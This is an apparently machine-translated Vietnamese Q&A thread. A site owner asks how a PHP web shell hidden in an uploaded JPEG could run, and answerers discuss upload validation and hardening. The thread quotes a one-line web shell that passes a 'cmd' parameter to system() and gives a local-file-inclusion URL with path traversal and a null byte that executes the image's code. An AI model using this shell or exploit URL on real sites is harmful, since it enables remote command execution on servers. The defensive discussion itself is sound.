2010-08-17 24 views
8

Hôm qua trang web của tôi đã được bao gồm. Kẻ tấn công thay đổi tệp index.php thành của riêng họ (với tất cả các thông điệp và lời chào vinh quang của họ). Tôi đã thông báo cho công ty lưu trữ về điều này (chúng tôi đang chạy trên một máy chủ chuyên dụng), và về phía tôi, tôi đang cố gắng sửa chữa bất kỳ thứ gì có vẻ là nguyên nhân, vì tôi vẫn không thể xác định chính xác máy chủ bị tấn công, nhưng tôi nghĩ rằng tôi đã tìm thấy một số sơ hở dựa trên kịch bản có thể là thủ phạm.Trang web php của tôi bị tấn công bởi mã được tải lên dưới dạng hình ảnh ..?

Trang web của chúng tôi có biểu mẫu trình tải lên hình ảnh, nhưng tất cả hình ảnh đã tải lên đều được xác minh nếu chúng thực sự là tệp hình ảnh chứ không phải một số mã bằng cách sử dụng hàm getimagesize php. Chỉ khi loại hình ảnh là IMAGETYPE_GIF hoặc IMAGETYPE_JPEG hoặc IMAGETYPE_PNG thì chúng sẽ được chấp nhận. Khác, họ sẽ không thể tải tệp lên. Tuy nhiên tôi phát hiện ra rằng một tập tin hình ảnh tải lên có chứa một tập lệnh php bên trong nó! Bạn có thể tải xuống hình ảnh here. Đó là một tập tin hình ảnh hợp lệ, nhưng hãy thử mở các hình ảnh sử dụng bất kỳ soạn thảo văn bản và bạn sẽ tìm thấy một mã php bên trong nó:

<?php 

echo "<pre>"; system($_GET['cmd']); echo "</pre>"; 

?> 

Ví dụ, hình ảnh được tải lên vị trí này (www.mysite.com/uploads /picodes.jpg). Có bất kỳ cách nào trên thế giới những kẻ tấn công có thể thực hiện hệ thống (hoặc bất kỳ lệnh nào khác như passthru, vì chúng tôi phát hiện ra một hình ảnh khác có cùng mã bị ẩn như trên, nhưng thay vì hệ thống , nó có lệnh passthru), chỉ bằng một ví dụ, gõ www.mysite.com/uploads/picodes.jpg?cmd=some lệnh ?? Từ kiến ​​thức của tôi nó không thể được thực hiện (thực sự đánh giá cao nếu ai đó có thể chứng minh cho tôi sai), trừ khi kẻ tấn công có thể đổi tên file jpg thành php, và thậm chí, những mã này được ẩn sâu bên trong hình ảnh (vui lòng xem hình bên trong soạn thảo văn bản để hiểu những gì tôi đang cố gắng nói)

Để đề phòng, tôi đã tắt các chức năng php này (exec, passthru, proc_close, proc_get_status, proc_nice, proc_open, proc_terminate, shell_exec, hệ thống) bằng cách thêm chúng vào disable_functions trong php.ini.

Dù sao tôi vẫn nghĩ rằng kẻ tấn công có được quyền truy cập không thông qua web, nhưng thông qua máy chủ khai thác, nhưng tôi nghĩ công ty lưu trữ của tôi nghĩ khác đi.

+0

Tùy thuộc vào cấu hình máy chủ của bạn, nếu trình xác minh hình ảnh của bạn không kiểm tra tên tập tin, nó có thể là có thể cho điều này được khai thác, ví dụ nếu kẻ tấn công tải lên các tập tin với một tên có một phần mở rộng '.php'.Nhưng đó thực sự là một câu hỏi cho Server Fault. Đó có phải là những gì bạn muốn biết? –

+0

Cảm ơn bạn đã trả lời david, nhưng như tôi đã đề cập ở trên, tất cả các tập tin tải lên được kiểm tra đầu tiên; chỉ khi chúng là tệp hình ảnh (gif, jpg hoặc png) thì chúng sẽ được chấp nhận. Nếu không nó sẽ bị loại bỏ. Vì vậy, việc tải lên tệp có đuôi mở rộng .php hoặc bất kỳ mã thô nào khác có bất kỳ tiện ích mở rộng nào chắc chắn sẽ không thành công. – imin

+6

Vâng, bạn đã nói bạn sử dụng 'getimagesize' để xác minh rằng hình ảnh là một hình ảnh, nhưng hàm đó _không kiểm tra đuôi tệp_. Nó chỉ xem xét nội dung của tập tin. (Hãy thử: đổi tên 'picodes.jpg' thành' picodes.php' và xem 'getimagesize (" picodes.php ")' cung cấp cho bạn.) Vì vậy, bạn cũng cần phải kiểm tra rõ tên mà tệp đang được tải lên, và đảm bảo rằng nó khớp với loại hình ảnh được trả về bởi 'getimagesize'. –

Trả lời

4

Tệp JPEG có thể chứa dữ liệu tùy ý trong chúng ngoài dữ liệu hình ảnh thực tế; nó là một phần của spec. Vì vậy, chỉ cần kiểm tra nếu một hình ảnh là một JPEG hợp lệ không có nghĩa là các tập tin là nhất thiết vô hại.

+0

vậy làm cách nào để kiểm tra xem tệp jpg có thực sự vô hại không? định dạng hình ảnh khác (png và gif) có thể chứa dữ liệu tùy ý không? và giống như câu hỏi của tôi ở trên, ngay cả khi họ quản lý để tải lên một tập tin hình ảnh với mã số trong nó, làm thế nào họ sẽ thực hiện nó mà không cần đổi tên tập tin vào php? – imin

+0

Không thực sự là một cách 100% để đảm bảo bất kỳ tệp nào vô hại, bạn phải loại bỏ các cách để thực thi tệp (mà tôi không thể cung cấp cho bạn nhiều trợ giúp, đặc biệt là không biết chi tiết về máy chủ) thiết lập). – Amber

+0

hmm cảm ơn rất nhiều ... tôi sẽ phải chuyển đổi mọi hình ảnh tải lên thành các loại khác (ví dụ: nếu jpg chuyển đổi thành gif, gif thành jpg, png thành jpg) để xóa bất kỳ mã nào được nhúng bên trong nó nếu có. Dù sao không ai sẽ trả lời tôi về cách họ sẽ thực thi các mã bên trong nó mà không đổi tên tệp hình ảnh thành php? – imin

5

Không thể khai thác tệp hình ảnh với mã PHP tùy ý bằng yêu cầu trực tiếp, ví dụ: http://www.mysite.com/uploads/image.jpg?cmd=somecode.

Tuy nhiên, nó có thể được sử dụng với lỗ hổng Tập tin cục bộ.

Ví dụ, trong index.php bạn sử dụng include('pages/' . $_GET['page'] . '.php');, sau đó kẻ tấn công có thể tải lên hình ảnh với mã PHP bên trong và thực hiện các lệnh với smth như thế này: http://www.mysite.com/index.php?page=../upload/image.jpg?cmd=somecode%00

UPD: tập tin thay đổi trong URL trang

+0

Vâng, sau đó nó phải là 'page' và không phải là' file' trong url;) – Shikiryu

+0

kiểm tra http: //stackoverflow.com/questions/13272231/how-to-safely-prevent-uploaded-file-from-being-run-via-php-on-any-server cho các tập quán khác trên các máy chủ được định cấu hình sai. – regilero

2

này có thể không phải là một lỗ hổng trong mã của bạn. Tôi đã có điều tương tự xảy ra với tôi một vài tuần trước đây. Mặc dù tất cả các tệp index.php của tôi đã bị xóa, ngay cả những tệp không trực tiếp truy cập được trên web. Trong trường hợp của tôi, đó là một lỗ hổng bảo mật trong Linux. Không liên quan gì đến mã của tôi. Đây là câu trả lời từ nhà cung cấp dịch vụ lưu trữ của tôi (A2Hosting) về vấn đề này. Một khi tôi đã thuyết phục họ, đó không phải là bất cứ điều gì tôi đã làm, họ nhanh chóng tìm ra mọi thứ.

"Khai thác gần đây trong hạt nhân Linux là được sử dụng để cấp quyền truy cập quản trị (root) cho thư mục của người dùng trên máy chủ .Cuộc tấn công bao gồm việc xóa các tệp chỉ mục được tìm thấy trong các thư mục và thay thế chúng bằng nội dung mong muốn của một kẻ tấn công: Một trang web màu đen có tên mã của kẻ tấn công, "iSKORPiTX (Thổ Nhĩ Kỳ Hacker)". Hack này là lớn trên internet và sử dụng một lỗ hổng chưa biết trước đây, hạn chế khả năng của chúng tôi trong việc ngăn chặn nó. "

2

Cài đặt tải lên tập tin hình ảnh của tôi là: tải tập tin lên thư mục tạm thời, tạo hình ảnh mới bằng imagecreatefromjpeg hoặc imagecreatefrompng hoặc imagecreatefromgif và lưu, xóa tập tin tải lên từ thư mục tạm thời (tất cả những thứ này xảy ra trong cùng một kịch bản hành động, vì vậy tập tin được tải lên trong thư mục tạm thời không tồn tại trong thời gian dài)

+0

Đây có phải là cách SAFEST bạn đoán? – ErickBest

+0

Đây là tùy chọn khá an toàn khi tập lệnh xóa tệp được tải lên trong các phân số thứ hai. – user424821

Các vấn đề liên quan